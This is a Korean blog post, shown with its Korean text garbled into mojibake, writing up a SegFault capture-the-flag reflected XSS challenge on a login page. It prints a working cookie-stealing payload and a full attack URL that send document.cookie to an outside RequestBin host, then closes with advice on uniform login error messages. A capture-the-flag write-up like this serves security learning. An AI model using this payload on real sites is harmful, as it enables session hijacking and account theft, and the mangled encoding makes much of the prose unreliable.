Archive for Dev. (junyup2)

์ง€์‹์„ ์ฑ„์›Œ๊ฐ€๋Š” ใ€Ž๊ฐœ๋ฐœ์ž/ํ™”์ดํŠธํ•ด์ปคใ€๋ฅผ ๋ชฉํ‘œ๋กœ ์ •๋ฆฌํ•˜๋Š” ๋ธ”๋กœ๊ทธ

Wargame & CTF/SegFault

[SegFault] (XSS) - XSS 6

Gearvirus(junyup2) 2023. 12. 29. 17:43

[SegFault] (XSS)

XSS 6

๊ด€๋ฆฌ์ž์˜ Cookie๋ฅผ ํƒˆ์ทจํ•˜์„ธ์š”!

๋ฌธ์ œ ํŒŒ์•…

๋ณธ ๋ฌธ์ œ์˜ ๊ฒฝ์šฐ XSS์˜ ์ทจ์•ฝ์ ์„ ์ฐพ๊ณ , ๊ด€๋ฆฌ์ž Bot์— ํ•ด๋‹น ๋งํฌ๋ฅผ ์ž…๋ ฅํ•˜์—ฌ ๊ณต๊ฒฉ์ž ์„œ๋ฒ„๋กœ Cookie ๊ฐ’์„ ํƒˆ์ทจํ•˜์—ฌ ๋ฐ›์œผ๋ฉด Flag๋ฅผ ํš๋“ํ•  ์ˆ˜ ์žˆ๋Š” ๋ฐฉ์‹์œผ๋กœ ์ด๋ฃจ์–ด์ ธ ์žˆ๋‹ค.

ํ•˜์ง€๋งŒ ํ˜„์žฌ ๊ณต๊ฒฉ์ž ์„œ๋ฒ„๋ฅผ ๊ฐ–๊ณ  ์žˆ์ง€ ์•Š์œผ๋ฏ€๋กœ RequestBin์„ ์ด์šฉํ•˜๊ธฐ๋กœ ํ•œ๋‹ค.

์šฐ์„  ์œ„์˜ [๊ด€๋ฆฌ์ž ๋ฐฉ๋ฌธ Bot Link]์— ์ ‘์†ํ•˜๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™์€ URL ์ž…๋ ฅ์ฐฝ์„ ๋ณผ ์ˆ˜ ์žˆ๋‹ค.

XSS ์ทจ์•ฝ์ ์„ ๋ฐœ๊ฒฌํ•˜๊ณ  ํ•ด๋‹น ๋งํฌ๋ฅผ ์œ„์˜ URL์— ์ž…๋ ฅํ•˜๋ฉด ๊ณต๊ฒฉ์ž ์„œ๋ฒ„(RequestBin)๋กœ ์ฟ ํ‚ค ๊ฐ’์ด ๋‚ ์•„์˜ค๋Š” ๋ฐฉ์‹์ด๋‹ค.

์ด์ œ ์•„๋ž˜์˜ ๋ฌธ์ œ ๋งํฌ์— ์ ‘์†ํ•˜๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™์€ ์ฐฝ์ด ๋‚˜์˜จ๋‹ค.

์šฐ์„  ํšŒ์›๊ฐ€์ž… ํ›„ ๋กœ๊ทธ์ธ์„ ์‹œ๋„ํ•ด๋ณธ๋‹ค.

๋งˆ์ดํŽ˜์ด์ง€์™€ ๊ณต์ง€์‚ฌํ•ญ์„ ํ™•์ธํ•ด๋ณธ ๊ฒฐ๊ณผ XSS ์ทจ์•ฝ์ ์„ ๋ฐœ๊ฒฌํ•˜์ง€ ๋ชปํ•˜์˜€๋‹ค.

๋กœ๊ทธ์ธ ๋ถ€๋ถ„์œผ๋กœ ๋Œ์•„๊ฐ€์„œ ํ™•์ธํ•ด๋ณด๊ธฐ๋กœ ํ•œ๋‹ค.

 

XSS Point

๋กœ๊ทธ์ธ ์ฐฝ์— ์ ‘์†ํ•ด์ค€๋‹ค.

๋กœ๊ทธ์ธ ์ฐฝ์˜ ์•„์ด๋””์— ๋“ฑ๋ก๋˜์ง€ ์•Š์€ ์ •๋ณด๊ฐ€ ์ž…๋ ฅ๋˜๋Š” ๊ฒฝ์šฐ, ์‘๋‹ต์— ํ•ด๋‹น ์ž…๋ ฅ ๊ฐ’์ด ๊ทธ๋Œ€๋กœ ๋ฐ˜์‚ฌ๋˜์–ด ์ถœ๋ ฅ๋˜๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ์—ˆ๋‹ค.

์œ„์˜ ๋ฐฉ์‹์€ ๋ฐ˜์‚ฌ(Reflected)๋ฅผ ์ด์šฉํ•˜๋Š” ๊ฒƒ์ด๋‹ค. ๊ทธ๋Ÿฌ๋ฏ€๋กœ ํ•ด๋‹น ๋ฐ˜์‚ฌ ๊ฐ’์„ XSS ์ทจ์•ฝ์ ์œผ๋กœ์„œ ์ด์šฉํ•˜๋ ค๋ฉด GET Method์—ฌ์•ผ URL์„ ์ƒ์„ฑํ•˜์—ฌ Reflected XSS ์ทจ์•ฝ์ ์œผ๋กœ์„œ ํ•ด๋‹น ๋งํฌ๋ฅผ ํด๋ฆญํ•˜๋„๋ก ์œ ๋„ํ•˜์—ฌ XSS๋ฅผ ๋ฐœ์ƒ ์‹œํ‚ฌ ์ˆ˜ ์žˆ๋‹ค.

ํ•˜์ง€๋งŒ ๋กœ๊ทธ์ธ ๊ณผ์ •์˜ ๋ฉ”์„œ๋“œ๋Š” POST Method๋กœ ๊ตฌ์„ฑ๋˜์–ด ์žˆ๋‹ค.

ํ•ด๋‹น ์š”์ฒญ์„ GET Method๋กœ ๋ณ€ํ™˜ํ•˜์—ฌ ์š”์ฒญํ•˜์˜€์„ ๋•Œ ๋™์ผํ•œ ์‘๋‹ต ๊ฒฐ๊ณผ๊ฐ€ ๋‚˜์˜ค๋Š”์ง€ ํ™•์ธํ•ด๋ด์•ผ ํ•œ๋‹ค.

์œ„์™€ ๊ฐ™์ด ํ•ด๋‹น ์š”์ฒญ์„ Burp๋ฅผ ์ด์šฉํ•˜์—ฌ GET Method๋กœ ๋ณ€์กฐํ•˜์—ฌ ์š”์ฒญํ•˜์˜€์„ ๋•Œ ๋‹ค์Œ๊ณผ ๊ฐ™์ด ๋™์ผํ•œ ๊ฒฐ๊ณผ๊ฐ€ ๋‚˜์˜จ ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ์—ˆ๋‹ค.


ํ’€์ด ๊ณผ์ • (ํ•ด๊ฒฐ ๋ฐฉ์•ˆ)

๋กœ๊ทธ์ธ ์ฐฝ์˜ id ์— ๋“ฑ๋ก๋˜์ง€ ์•Š์€ ์ •๋ณด๋ฅผ ์ž…๋ ฅํ•œ ๊ฒฝ์šฐ, ์ž…๋ ฅ ๊ฐ’์ด ์•Œ๋ฆผ์ฐฝ์— ๊ทธ๋Œ€๋กœ ์ถœ๋ ฅ๋˜๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

ํ•ด๋‹น ์ž…๋ ฅ์— ์‚ฝ์ž…ํ•  ํŽ˜์ด๋กœ๋“œ(Payload)๋ฅผ ์ž‘์„ฑํ•œ๋‹ค.

ํŽ˜์ด๋กœ๋“œ(Payload)

test ]'</script><script>
var cookieData = document.cookie;
var i = new Image();
i.src = "https://๊ณต๊ฒฉ์ž ์ฃผ์†Œ/?cookie="+cookieData;//

 

์Šคํฌ๋ฆฝํŠธ ์ „๋‹ฌ(URL)

์œ„์˜ ํŽ˜์ด๋กœ๋“œ(Payload)๋ฅผ ์ž…๋ ฅ๊ฐ’์— ๋„ฃ์–ด์ฃผ๊ณ  ๋ฉ”์„œ๋“œ๋ฅผ GET์œผ๋กœ ๋ณ€ํ™˜ํ•ด์ฃผ๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

test+]'</script><script>var+cookieData+=+document.cookie;var+i+=+new+Image();i.src+=+"https://eneqijtbrtwyr.x.pipedream.net/?cookie="%2bcookieData;//

์œ„์™€ ๊ฐ™์ด ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ํฌํ•จ๋œ ์ž…๋ ฅ๊ฐ’์„ ์š”์ฒญํ•˜๋Š” ๊ฒฝ์šฐ, ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ์‹คํ–‰๋˜๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ์—ˆ๋‹ค.

ํ•ด๋‹น ์š”์ฒญ์— ๋Œ€ํ•œ URL์„ ์ƒ์„ฑํ•˜๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

http://ctf.segfaulthub.com:4343/xss_7/login.php?id=test+]'</script><script>var+cookieData+=+document.cookie;var+i+=+new+Image();i.src+=+"https://eneqijtbrtwyr.x.pipedream.net/?cookie="%2bcookieData;//&pw=1

์œ„์˜ URL์„ ํด๋ฆญํ•˜๋„๋ก ์œ ๋„ํ•˜์—ฌ XSS๊ฐ€ ๋ฐœ์ƒํ•˜๋„๋ก ํ•˜๋Š” ๊ฒƒ์ด ๊ฐ€๋Šฅํ•˜๋‹ค.

๋”ฐ๋ผ์„œ ํ•ด๋‹น URL์„ ๊ด€๋ฆฌ์ž Bot์— ๋ณด๋‚ด์ค€๋‹ค.

ํƒˆ์ทจ๋œ ์ฟ ํ‚ค(Cookie)๊ฐ€ ๊ณต๊ฒฉ์ž ์ฃผ์†Œ(RequestBin)์œผ๋กœ ๋ฐ›์•„์™€ ์ง€๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

์œ„์™€ ๊ฐ™์ด id ํŒŒ๋ผ๋ฏธํ„ฐ์— ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ์‚ฝ์ž…๋œ ์ž…๋ ฅ๊ฐ’์„ ๋„ฃ์–ด์ฃผ๋Š” ์ผ๋ จ์˜ ๊ณผ์ •์„ ๋‹ด์€ URL๋กœ์˜ ์ ‘์† ์œ ๋„๋ฅผ ํ†ตํ•˜์—ฌ ์ฟ ํ‚ค ๊ฐ’์„ ํƒˆ์ทจํ•  ์ˆ˜ ์žˆ๋‹ค๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ์—ˆ๋‹ค.

ํ•˜์ง€๋งŒ ํ•ด๋‹น ๋ฌธ์ œ์˜ ๊ฒฝ์šฐ ํƒˆ์ทจํ•œ ์ฟ ํ‚ค์— flag๊ฐ’์ด ๋‹ด๊ฒจ ์žˆ๋Š” ๊ฒƒ์ด ์•„๋‹ˆ๋ผ, ์‚ฝ์ž…ํ•˜๋Š” ์Šคํฌ๋ฆฝํŠธ๋ฅผ 'ํ‚ค๋กœ๊ฑฐ'๋กœ์„œ ์ž‘์„ฑํ•˜์—ฌ ์ž…๋ ฅ๋˜๋Š” id์™€ pw๋ฅผ ์•Œ์•„๋‚ด์„œ flag๋ฅผ ์ฐพ๋Š” ๋ฐฉ์‹์ด์—ˆ๋‹ค๊ณ  ํ•œ๋‹ค. ํ•˜์ง€๋งŒ ์ž๋™์ž…๋ ฅ ๊ตฌํ˜„์ด ์•„์ง ๋˜์ง€ ์•Š์•„ ์ฟ ํ‚ค๋ฅผ ํƒˆ์ทจํ•˜๋Š” ๊ฒƒ ๊นŒ์ง€๋ฅผ ๋ชฉํ‘œ๋กœ ํ•˜์˜€๋‹ค.

 

์ฃผ์˜ํ•  ์ 

๋ณธ ๋ฌธ์ œ๋ฅผ ํ‘ธ๋Š” ๊ณผ์ •์—์„œ POC๋กœ์„œ alert(1)์„ ์ด์šฉํ•˜์—ฌ '1'์„ ์ถœ๋ ฅํ•˜๊ธฐ ์œ„ํ•ด ๋‹ค์Œ๊ณผ ๊ฐ™์ด ์ž…๋ ฅํ•ด๋ณด์•˜๋‹ค.

์œ„์™€ ๊ฐ™์ด [ ๋ฅผ ์ถœ๋ ฅํ•˜์ง€ ์•Š๊ธฐ ์œ„ํ•ด์„œ alert(1)์„ ๋”ฐ๋กœ์ด ํ•œ๋ฒˆ ๋” ์ถœ๋ ฅํ•ด์ค€ ๊ฒƒ์ธ๋ฐ, ์œ„์™€ ๊ฐ™์ด ์ž…๋ ฅํ•œ ๊ฒฝ์šฐ ๋ธŒ๋ผ์šฐ์ € ์ƒ์—์„œ ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ์ž˜ ์‚ฝ์ž…๋˜์–ด ์•Œ๋ฆผ์ฐฝ์ด 2ํšŒ ๋‚˜์˜ค๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ์—ˆ๋‹ค.

ํ•˜์ง€๋งŒ ์œ„์™€ ๊ฐ™์ด alert() ๋ฌธ์ด ๋„ˆ๋ฌด ๋งŽ์ด ๋“ค์–ด ๊ฐ€๋Š” ๊ฒฝ์šฐ์—๋Š” ๊ด€๋ฆฌ์ž Bot์ด ์•Œ์•„์ฐจ๋ฆฌ๋Š” ์ƒํ™ฉ์ด ๋ฒŒ์–ด์ง„๋‹ค๋Š” ๊ฒƒ์„ ์•Œ ์ˆ˜ ์žˆ์—ˆ๋‹ค.


์ทจ์•ฝ์ ์— ๊ด€ํ•œ ๊ณ ์ฐฐ

๋ณธ ๋ฌธ์ œ์˜ ๊ฒฝ์šฐ ๋กœ๊ทธ์ธ ์ฐฝ์—์„œ ๋“ฑ๋ก๋˜์ง€ ์•Š์€ ์•„์ด๋””๋ฅผ ์ž…๋ ฅํ•˜๋Š” ๊ฒฝ์šฐ ์ž…๋ ฅ๋œ ์•„์ด๋”” ๊ฐ’์ด ๊ทธ๋Œ€๋กœ ์‘๋‹ต์— ๋ฐ˜์‚ฌ๋˜์–ด ๋…ธ์ถœ๋˜๋Š” ๊ฒƒ์„ ์ด์šฉํ•œ Reflected XSS ์ทจ์•ฝ์ ์ด๋‹ค.
์ด์™€ ๊ฐ™์€ ๊ฒฝ์šฐ ๊ณต๊ฒฉ์ž๊ฐ€ ์–ด๋–ค id ๊ฐ€ ํšŒ์›๊ฐ€์ž…๋˜์–ด ์žˆ๋Š”์ง€ ์—ฌ๋ถ€์™€, ์•„์ด๋””์™€ ๋น„๋ฐ€๋ฒˆํ˜ธ ์ค‘ ์–ด๋–ค ๊ฐ’์„ ์ž˜๋ชป ์ž…๋ ฅํ•˜์˜€๋Š”์ง€ ์—ฌ๋ถ€๋ฅผ ์•Œ ์ˆ˜ ์žˆ๊ฒŒ๋œ๋‹ค. ์ด๋Ÿฐ ๊ฒฝ์šฐ Brute Force ๊ณต๊ฒฉ์„ ์ด์šฉํ•˜์—ฌ ๊ณ„์ •์ด ํƒˆ์ทจ๋  ๊ฐ€๋Šฅ์„ฑ์ด ๋†’์•„์ง„๋‹ค.

์ด๋Ÿฌํ•œ ์œ„ํ—˜์„ ๋ฐฉ์ง€ํ•˜๊ธฐ ์œ„ํ•˜์—ฌ ์•„์ด๋””์™€ ๋น„๋ฐ€๋ฒˆํ˜ธ ์ค‘ ์–ด๋–ค ๊ฒƒ์ด ํ‹€๋ ธ๋Š”์ง€ ๋ชจ๋ฅด๋„๋ก ํ•˜๊ณ , ํ•ด๋‹น ์•„์ด๋””์˜ ๊ฐ€์ž…์—ฌ๋ถ€๋ฅผ ํ™•์ธํ•  ์ˆ˜ ์—†๋„๋ก ํ•˜๊ธฐ ์œ„ํ•ด, ์ด์™€ ๊ฐ™์€ ์ •๋ณด๊ฐ€ ๋…ธ์ถœ๋˜์ง€ ์•Š๋„๋ก ํ‹€๋ฆฐ ์ž…๋ ฅ๊ฐ’ ๋งˆ๋‹ค ๋‹ค๋ฅธ ์•Œ๋ฆผ์ฐฝ์„ ๋„์šฐ๋Š” ๊ฒƒ์ด ์•„๋‹Œ ๋ญ‰๋šฑ๊ทธ๋ ค์„œ '์ž…๋ ฅ์ •๋ณด๊ฐ€ ์˜ฌ๋ฐ”๋ฅด์ง€ ์•Š์Šต๋‹ˆ๋‹ค.' ์™€ ๊ฐ™์€ ํ†ต์ผ๋œ ๋ฌธ๊ตฌ๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ๊ฒƒ์„ ๊ถŒ์žฅํ•œ๋‹ค.

์งˆ๋ฌธ ํ™˜์˜, ์ˆ˜์ • ๋ฐ ๋ณด์™„์— ๋Œ€ํ•œ ์ง€์  ํ™˜์˜